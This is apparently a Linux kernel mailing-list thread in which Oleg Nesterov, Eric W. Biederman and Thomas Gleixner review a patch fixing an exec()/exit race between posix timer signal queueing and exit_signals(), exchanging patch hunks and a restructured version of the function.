 	/*
 	 * If group stop has completed, deliver the notification.  This
 	 * should always go to the real parent of the group leader.

Re: [PATCH V2] signal: Prevent exec() race

[Oleg Nesterov]

As I said many times in this thread I am all confused ;)
And of course I don't understand posix-timers.c enough.

So let me ask the stupid question...

On 09/01, Thomas Gleixner wrote:
>
> If the timer signal is blocked, its sigqueue stays queued on the leader's
> task::pending. The next expiry of that timer can then run while
> release_task() flushes the queue.
>
> posixtimer_send_sigqueue() checks whether the sigqueue is already queued
> with a plain list_empty(), which only reads list_head::next.

If timer->sigq is queued on T->pending list, then T has a reference.
Even if this timer is destroyed, it and its ->sigq can't go away until
__sigqueue_free() -> posixtimer_sigqueue_putref(timer->sigq). Right?

So, If we change posixtimer_send_sigqueue() to check PF_EXITING and
return, then why do we need other changes?

Perhaps they make sense, but why do we need them to fix this particular
problem?

I am sure I missed something obvious, please help me to understand.

Ah, and I just noticed...

> @@ -1990,6 +2004,9 @@ void posixtimer_send_sigqueue(struct k_i
>  	if (!likely(lock_task_sighand(t, &flags)))
>  		return;
>
> +	if (unlikely(tmr->it_pid_type == PIDTYPE_PID && (t->flags & PF_EXITING)))
> +		return;

this lacks unlock_sighand().

Oleg.

Re: [PATCH V2] signal: Prevent exec() race

[Oleg Nesterov]

On 09/02, Oleg Nesterov wrote:
>
> On 09/01, Thomas Gleixner wrote:
> >
> > If the timer signal is blocked, its sigqueue stays queued on the leader's
> > task::pending. The next expiry of that timer can then run while
> > release_task() flushes the queue.
> >
> > posixtimer_send_sigqueue() checks whether the sigqueue is already queued
> > with a plain list_empty(), which only reads list_head::next.
>
> If timer->sigq is queued on T->pending list, then T has a reference.
> Even if this timer is destroyed, it and its ->sigq can't go away until
> __sigqueue_free() -> posixtimer_sigqueue_putref(timer->sigq). Right?
>
> So, If we change posixtimer_send_sigqueue() to check PF_EXITING and
> return, then why do we need other changes?

Aaah. I am stupid. the PF_EXITING check in posixtimer_send_sigqueue()
is obviously not enough, posixtimer_get_target() can return the execing
thread which is alive and doesn't have PF_EXITING set...

> Ah, and I just noticed...
>
> > @@ -1990,6 +2004,9 @@ void posixtimer_send_sigqueue(struct k_i
> >  	if (!likely(lock_task_sighand(t, &flags)))
> >  		return;
> >
> > +	if (unlikely(tmr->it_pid_type == PIDTYPE_PID && (t->flags & PF_EXITING)))
> > +		return;
>
> this lacks unlock_sighand().

Oleg.

Re: [PATCH V2] signal: Prevent exec() race

[Oleg Nesterov]

On 09/01, Thomas Gleixner wrote:
>
> @@ -3130,8 +3148,12 @@ void exit_signals(struct task_struct *ts
>  	cgroup_threadgroup_change_begin(tsk);
>
>  	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
> -		tsk->flags |= PF_EXITING;
> +		scoped_guard(spinlock_irq, &tsk->sighand->siglock) {
> +			tsk->flags |= PF_EXITING;
> +			sigqueue_dequeue_pending(&tsk->pending, &sigq_list);
> +		}
>  		cgroup_threadgroup_change_end(tsk);
> +		flush_sigqueue_list(&sigq_list);
>  		return;

OK... lets suppose the exiting task T passes exit_signals().

Suppose we have an "ignored" timer tmr. Another sub-thread calls
do_sigaction() -> posixtimer_sig_unignore() and finds that tmr
in ->ignored_posix_timers list.

But posixtimer_queue_sigqueue() doesn't check PF_EXITING, I guess
it should check it too?

Or perhaps it makes more sense to check PF_EXITING in
posixtimer_get_target() ?

Oleg.

Re: [PATCH V2] signal: Prevent exec() race

[Oleg Nesterov]

as for the change on exit_signal,

On 09/01, Thomas Gleixner wrote:
>
> @@ -3120,6 +3137,7 @@ static void retarget_shared_pending(stru
>
>  void exit_signals(struct task_struct *tsk)
>  {
> +	LIST_HEAD(sigq_list);
>  	int group_stop = 0;
>  	sigset_t unblocked;
>
> @@ -3130,8 +3148,12 @@ void exit_signals(struct task_struct *ts
>  	cgroup_threadgroup_change_begin(tsk);
>
>  	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
> -		tsk->flags |= PF_EXITING;
> +		scoped_guard(spinlock_irq, &tsk->sighand->siglock) {
> +			tsk->flags |= PF_EXITING;
> +			sigqueue_dequeue_pending(&tsk->pending, &sigq_list);
> +		}
>  		cgroup_threadgroup_change_end(tsk);
> +		flush_sigqueue_list(&sigq_list);
>  		return;
>  	}
>
> @@ -3141,6 +3163,7 @@ void exit_signals(struct task_struct *ts
>  	 * see wants_signal(), do_signal_stop().
>  	 */
>  	tsk->flags |= PF_EXITING;
> +	sigqueue_dequeue_pending(&tsk->pending, &sigq_list);
>
>  	cgroup_threadgroup_change_end(tsk);
>
> @@ -3157,6 +3180,8 @@ void exit_signals(struct task_struct *ts
>  out:
>  	spin_unlock_irq(&tsk->sighand->siglock);
>
> +	flush_sigqueue_list(&sigq_list);
> +
>  	/*
>  	 * If group stop has completed, deliver the notification.  This
>  	 * should always go to the real parent of the group leader.

This is subjective and mostly cosmetic, but what do you think
about the alternative change below?

I won't insist, but to me both the patch and resulting code look
a bit simpler this way.

Oleg.
---

--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -3120,6 +3120,7 @@ static void retarget_shared_pending(struct task_struct *tsk, sigset_t *which)
 
 void exit_signals(struct task_struct *tsk)
 {
+	LIST_HEAD(sigq_list);
 	int group_stop = 0;
 	sigset_t unblocked;
 
@@ -3129,21 +3130,18 @@ void exit_signals(struct task_struct *tsk)
 	 */
 	cgroup_threadgroup_change_begin(tsk);
 
-	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
-		tsk->flags |= PF_EXITING;
-		cgroup_threadgroup_change_end(tsk);
-		return;
-	}
-
 	spin_lock_irq(&tsk->sighand->siglock);
 	/*
 	 * From now this task is not visible for group-wide signals,
 	 * see wants_signal(), do_signal_stop().
 	 */
 	tsk->flags |= PF_EXITING;
+	sigqueue_dequeue_pending(&tsk->pending, &sigq_list);
 
 	cgroup_threadgroup_change_end(tsk);
 
+	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT))
+		goto out;
 	if (!task_sigpending(tsk))
 		goto out;
 
@@ -3157,6 +3155,7 @@ void exit_signals(struct task_struct *tsk)
 out:
 	spin_unlock_irq(&tsk->sighand->siglock);
 
+	flush_sigqueue_list(&sigq_list);
 	/*
 	 * If group stop has completed, deliver the notification.  This
 	 * should always go to the real parent of the group leader.

Re: [PATCH V2] signal: Prevent exec() race

[Eric W. Biederman]

Oleg Nesterov <oleg@redhat.com> writes:

> as for the change on exit_signal,
>
> On 09/01, Thomas Gleixner wrote:
>>
>> @@ -3120,6 +3137,7 @@ static void retarget_shared_pending(stru
>>
>>  void exit_signals(struct task_struct *tsk)
>>  {
>> +	LIST_HEAD(sigq_list);
>>  	int group_stop = 0;
>>  	sigset_t unblocked;
>>
>> @@ -3130,8 +3148,12 @@ void exit_signals(struct task_struct *ts
>>  	cgroup_threadgroup_change_begin(tsk);
>>
>>  	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
>> -		tsk->flags |= PF_EXITING;
>> +		scoped_guard(spinlock_irq, &tsk->sighand->siglock) {
>> +			tsk->flags |= PF_EXITING;
>> +			sigqueue_dequeue_pending(&tsk->pending, &sigq_list);
>> +		}
>>  		cgroup_threadgroup_change_end(tsk);
>> +		flush_sigqueue_list(&sigq_list);
>>  		return;
>>  	}
>>
>> @@ -3141,6 +3163,7 @@ void exit_signals(struct task_struct *ts
>>  	 * see wants_signal(), do_signal_stop().
>>  	 */
>>  	tsk->flags |= PF_EXITING;
>> +	sigqueue_dequeue_pending(&tsk->pending, &sigq_list);
>>
>>  	cgroup_threadgroup_change_end(tsk);
>>
>> @@ -3157,6 +3180,8 @@ void exit_signals(struct task_struct *ts
>>  out:
>>  	spin_unlock_irq(&tsk->sighand->siglock);
>>
>> +	flush_sigqueue_list(&sigq_list);
>> +
>>  	/*
>>  	 * If group stop has completed, deliver the notification.  This
>>  	 * should always go to the real parent of the group leader.
>
> This is subjective and mostly cosmetic, but what do you think
> about the alternative change below?
>
> I won't insist, but to me both the patch and resulting code look
> a bit simpler this way.

I agree that simply removing the special case that could skip grabbing
siglock is more maintainable.  Just one last thing to think about.

Oleg it appears you were the one who added the special case to skip
taking siglock.  So if you aren't worried about us removing it then
I am happy to see it go.

Eric


> Oleg.
> ---
>
> --- a/kernel/signal.c
> +++ b/kernel/signal.c
> @@ -3120,6 +3120,7 @@ static void retarget_shared_pending(struct task_struct *tsk, sigset_t *which)
>  
>  void exit_signals(struct task_struct *tsk)
>  {
> +	LIST_HEAD(sigq_list);
>  	int group_stop = 0;
>  	sigset_t unblocked;
>  
> @@ -3129,21 +3130,18 @@ void exit_signals(struct task_struct *tsk)
>  	 */
>  	cgroup_threadgroup_change_begin(tsk);
>  
> -	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
> -		tsk->flags |= PF_EXITING;
> -		cgroup_threadgroup_change_end(tsk);
> -		return;
> -	}
> -
>  	spin_lock_irq(&tsk->sighand->siglock);
>  	/*
>  	 * From now this task is not visible for group-wide signals,
>  	 * see wants_signal(), do_signal_stop().
>  	 */
>  	tsk->flags |= PF_EXITING;
> +	sigqueue_dequeue_pending(&tsk->pending, &sigq_list);
>  
>  	cgroup_threadgroup_change_end(tsk);
>  
> +	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT))
> +		goto out;
>  	if (!task_sigpending(tsk))
>  		goto out;
> @@ -3157,6 +3155,7 @@ void exit_signals(struct task_struct *tsk)
>  out:
>  	spin_unlock_irq(&tsk->sighand->siglock);
>  
> +	flush_sigqueue_list(&sigq_list);
>  	/*
>  	 * If group stop has completed, deliver the notification.  This
>  	 * should always go to the real parent of the group leader.

Re: [PATCH V2] signal: Prevent exec() race

[Oleg Nesterov]

On 09/02, Eric W. Biederman wrote:
>
> Oleg Nesterov <oleg@redhat.com> writes:
>
> > I won't insist, but to me both the patch and resulting code look
> > a bit simpler this way.
>
> I agree that simply removing the special case that could skip grabbing
> siglock is more maintainable.  Just one last thing to think about.

Well, but the patch from Thomas adds

		scoped_guard(spinlock_irq, &tsk->sighand->siglock) {
			tsk->flags |= PF_EXITING;
			sigqueue_dequeue_pending(&tsk->pending, &sigq_list);
		}

into the fast-path, so either way exit_signals() can no longer skip
grabbing siglock.

Or I missed something again?

> Oleg it appears you were the one who added the special case to skip
> taking siglock.  So if you aren't worried about us removing it then
> I am happy to see it go.

I am worried. But see above. We need to fix the bug first. Then perhaps
we can add some other optimizations.

Oleg.

Re: [PATCH V2] signal: Prevent exec() race

[Thomas Gleixner]

On Wed, Sep 02 2026 at 12:28, Oleg Nesterov wrote:
>> @@ -1990,6 +2004,9 @@ void posixtimer_send_sigqueue(struct k_i
>>  	if (!likely(lock_task_sighand(t, &flags)))
>>  		return;
>>
>> +	if (unlikely(tmr->it_pid_type == PIDTYPE_PID && (t->flags & PF_EXITING)))
>> +		return;
>
> this lacks unlock_sighand().

Bah.

Re: [PATCH V2] signal: Prevent exec() race

[Thomas Gleixner]

On Wed, Sep 02 2026 at 16:19, Oleg Nesterov wrote:
> This is subjective and mostly cosmetic, but what do you think
> about the alternative change below?
>
> I won't insist, but to me both the patch and resulting code look
> a bit simpler this way.

Yeah, though if we restructure the code then I rather prefer to get rid
of the gotos and also move the cgroup...end() part out of the sighand
lock held region to make that as short as possible.

void exit_signals(struct task_struct *tsk)
{
	LIST_HEAD(sigq_list);
	int group_stop = 0;

	/*
	 * @tsk is about to have PF_EXITING set - lock out users which
	 * expect a stable threadgroup.
	 */
	cgroup_threadgroup_change_begin(tsk);

	scoped_guard(spinlock_irq, &tsk->sighand->siglock) {
		tsk->flags |= PF_EXITING;

		sigqueue_dequeue_pending(&tsk->pending, &sigq_list);

		if (task_sigpending(tsk) && !thread_group_empty(tsk) &&
		    !(tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
			sigset_t unblocked = tsk->blocked;

			signotset(&unblocked);
			retarget_shared_pending(tsk, &unblocked);

			if (unlikely(tsk->jobctl & JOBCTL_STOP_PENDING) &&
			    task_participate_group_stop(tsk))
				group_stop = CLD_STOPPED;
		}
	}

	cgroup_threadgroup_change_end(tsk);

	flush_sigqueue_list(&sigq_list);

	/*
	 * If group stop has completed, deliver the notification.  This
	 * should always go to the real parent of the group leader.
	 */
	if (unlikely(group_stop)) {
		read_lock(&tasklist_lock);
		do_notify_parent_cldstop(tsk, false, group_stop);
		read_unlock(&tasklist_lock);
	}
}

Re: [PATCH V2] signal: Prevent exec() race

[Oleg Nesterov]

On 09/03, Thomas Gleixner wrote:
>
> On Wed, Sep 02 2026 at 16:19, Oleg Nesterov wrote:
> > This is subjective and mostly cosmetic, but what do you think
> > about the alternative change below?
> >
> > I won't insist, but to me both the patch and resulting code look
> > a bit simpler this way.
>
> Yeah, though if we restructure the code then I rather prefer to get rid
> of the gotos and also move the cgroup...end() part out of the sighand
> lock held region to make that as short as possible.

Agreed, the resulting code looks good to me.

Oleg.